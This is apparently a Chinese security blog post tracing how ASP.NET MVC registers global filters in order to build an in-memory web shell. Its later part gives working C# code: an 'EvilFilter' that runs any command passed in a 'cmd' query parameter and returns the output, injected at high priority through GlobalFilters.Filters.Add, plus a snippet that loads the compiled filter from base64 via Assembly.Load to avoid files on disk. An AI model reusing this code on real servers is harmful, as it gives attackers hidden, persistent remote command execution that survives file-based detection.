在浏览论坛时候看到几篇关于Net 内存马的文章,引发我的好奇心,随手调了一下。
安装Java内存马的思路,来跟踪NET中的Filter注册流程。
创建了一个mvc项目看到MvcApplication类中
namespace WebApplication3 { public class MvcApplication : System.Web.HttpApplication { protected void Application_Start() { AreaRegistration.RegisterAllAreas(); FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters); RouteConfig.RegisterRoutes(RouteTable.Routes); BundleConfig.RegisterBundles(BundleTable.Bundles); } } }
在MvcApplication
中会FilterConfig
加载进来。
而FilterConfig
类中配置了所有需要加载的Filter。
通过GlobalFilterCollection
的Add方法进行将filter对象进行添加。
namespace System.Web.Mvc { // // 摘要: // 表示一个包含所有全局筛选器的类。 public sealed class GlobalFilterCollection : IEnumerable<Filter>, IEnumerable, IFilterProvider { // // 摘要: // 初始化 System.Web.Mvc.GlobalFilterCollection 类的新实例。 public GlobalFilterCollection(); // // 摘要: // 获取全局筛选器集合中的筛选器数目。 // // 返回结果: // 全局筛选器集合中的筛选器数目。 public int Count { get; } // // 摘要: // 向全局筛选器集合添加指定筛选器。 // // 参数: // filter: // 筛选器。 public void Add(object filter); // // 摘要: // 使用指定的筛选器运行顺序向全局筛选器集合添加指定筛选器。 // // 参数: // filter: // 筛选器。 // // order: // 筛选器运行顺序。 public void Add(object filter, int order); // // 摘要: // 从全局筛选器集合删除所有筛选器。 public void Clear(); // // 摘要: // 确定某筛选器是否在全局筛选器集合中。 // // 参数: // filter: // 筛选器。 // // 返回结果: // 如果在全局筛选器集合中找到 filter,则为 true;否则为 false。 public bool Contains(object filter); // // 摘要: // 返回循环访问全局筛选器集合的枚举器。 // // 返回结果: // 循环访问全局筛选器集合的枚举器。 public IEnumerator<Filter> GetEnumerator(); // // 摘要: // 删除与指定筛选器匹配的所有筛选器。 // // 参数: // filter: // 要删除的筛选器。 public void Remove(object filter); } }
其中有2个add方法,两个参数的方法,第二个参数是设置Filter的执行优先级。
首先让我们看FilterProviders.cs,该类为Filter提供注册点
using System; namespace System.Web.Mvc { // Token: 0x020000C6 RID: 198 public static class FilterProviders { // Token: 0x06000533 RID: 1331 RVA: 0x0000E9D4 File Offset: 0x0000CBD4 static FilterProviders() { FilterProviders.Providers.Add(GlobalFilters.Filters); FilterProviders.Providers.Add(new FilterAttributeFilterProvider()); FilterProviders.Providers.Add(new ControllerInstanceFilterProvider()); } public static FilterProviderCollection Providers { get; private set; } = new FilterProviderCollection(); } }
FilterAttributeFilterProvider
代码
namespace System.Web.Mvc { // Token: 0x020000C3 RID: 195 public class FilterAttributeFilterProvider : IFilterProvider { // Token: 0x06000520 RID: 1312 RVA: 0x0000E489 File Offset: 0x0000C689 public FilterAttributeFilterProvider() : this(true) { } // Token: 0x06000521 RID: 1313 RVA: 0x0000E492 File Offset: 0x0000C692 public FilterAttributeFilterProvider(bool cacheAttributeInstances) { this._cacheAttributeInstances = cacheAttributeInstances; } // Token: 0x06000522 RID: 1314 RVA: 0x0000E4A1 File Offset: 0x0000C6A1 protected virtual IEnumerable<FilterAttribute> GetActionAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor) { return actionDescriptor.GetFilterAttributes(this._cacheAttributeInstances); } // Token: 0x06000523 RID: 1315 RVA: 0x0000E4AF File Offset: 0x0000C6AF protected virtual IEnumerable<FilterAttribute> GetControllerAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor) { return actionDescriptor.ControllerDescriptor.GetFilterAttributes(this._cacheAttributeInstances); } // Token: 0x06000524 RID: 1316 RVA: 0x0000E770 File Offset: 0x0000C970 public virtual IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor) { if (controllerContext.Controller != null) { foreach (FilterAttribute attr in this.GetControllerAttributes(controllerContext, actionDescriptor)) { yield return new Filter(attr, FilterScope.Controller, null); } foreach (FilterAttribute attr2 in this.GetActionAttributes(controllerContext, actionDescriptor)) { yield return new Filter(attr2, FilterScope.Action, null); } } yield break; } // Token: 0x04000164 RID: 356 private readonly bool _cacheAttributeInstances; } }
该类中有几个方法分别获取Filter、Controller、Action等特性集合
public IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor) { if (controllerContext == null) { throw new ArgumentNullException("controllerContext"); } if (actionDescriptor == null) { throw new ArgumentNullException("actionDescriptor"); } IFilterProvider[] combinedItems = this.CombinedItems; List<Filter> list = new List<Filter>(); foreach (IFilterProvider filterProvider in combinedItems) { foreach (Filter item in filterProvider.GetFilters(controllerContext, actionDescriptor)) { list.Add(item); } } list.Sort(FilterProviderCollection._filterComparer); if (list.Count > 1) { FilterProviderCollection.RemoveDuplicates(list); } return list; }
遍历combinedItems
值获取IFilterProvider
接口实例化对象,调用list.Sort
进行排序
System.Web.Mvc.FilterProviderCollection$FilterComparer
类
private class FilterComparer : IComparer<Filter> { // Token: 0x06000531 RID: 1329 RVA: 0x0000E96C File Offset: 0x0000CB6C public int Compare(Filter x, Filter y) { if (x == null && y == null) { return 0; } if (x == null) { return -1; } if (y == null) { return 1; } if (x.Order < y.Order) { return -1; } if (x.Order > y.Order) { return 1; } if (x.Scope < y.Scope) { return -1; } if (x.Scope > y.Scope) { return 1; } return 0; }
对比2个Filter的Order值和Scope值。
可见先调用的IAuthorizationFilter.OnAuthorization
可见IAuthorizationFilter
优先级要高一些
//IAuthorizationFilter调用 AuthorizationContext authContext = InvokeAuthorizationFilters(controllerContext, filterInfo.AuthorizationFilters, actionDescriptor) //IActionFilter调用 ActionExecutedContext postActionContext = InvokeActionMethodWithFilters(controllerContext, filterInfo.ActionFilters, actionDescriptor, parameters); //IResultFilter调用 InvokeActionResultWithFilters(controllerContext, filterInfo.ResultFilters, postActionContext.Result); //IExceptionFilter调用 ExceptionContext exceptionContext = InvokeExceptionFilters(controllerContext, filterInfo.ExceptionFilters, ex);
与Java一直,继承IAuthorizationFilter
接口,在OnAuthorization
方法中构造马的内容。然后调用GlobalFilters.Filters.add
方法将继承IAuthorizationFilter
接口类的实例化对象也就是构造的内存马传递进去。
比较懒代码直接写到了Controller里面进行执行注入内存马。
using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Web; using System.Web.Mvc; namespace WebApplication3.Controllers { public class HomeController : Controller { public ActionResult Index() { GlobalFilters.Filters.Add(new EvilFilter(), -2); return View(); } public class EvilFilter : IAuthorizationFilter { public void OnAuthorization(AuthorizationContext filterContext) { HttpRequestBase request = filterContext.HttpContext.Request; HttpResponseBase response = filterContext.HttpContext.Response; string cmd = request.QueryString["cmd"]; if (cmd != null) { Process process = new Process(); process.StartInfo.FileName = cmd; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.Start(); byte[] data = Encoding.UTF8.GetBytes(process.StandardOutput.ReadToEnd() + process.StandardError.ReadToEnd()); response.Write(System.Text.Encoding.Default.GetString(data)); } else { response.Write("null"); } } } }
与Java一直 NET也可以将以上EvilFilter
这个恶意的Filter编译成dll,然后编码后进行加载。
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String("Filter base64字符")); assembly.CreateInstance(assembly.GetTypes()[0].FullName,)
但只能在mvc下使用,因为GlobalFilters
和IAuthorizationFilter
需要System.Web.Mvc.dll
依赖,在面对Webform的情况下无法使用。
ASP.NET下的内存马(1) filter内存马
聊聊新类型ASPXCSharp
Asp.net MVC源码分析--Filter种类以及调用优先级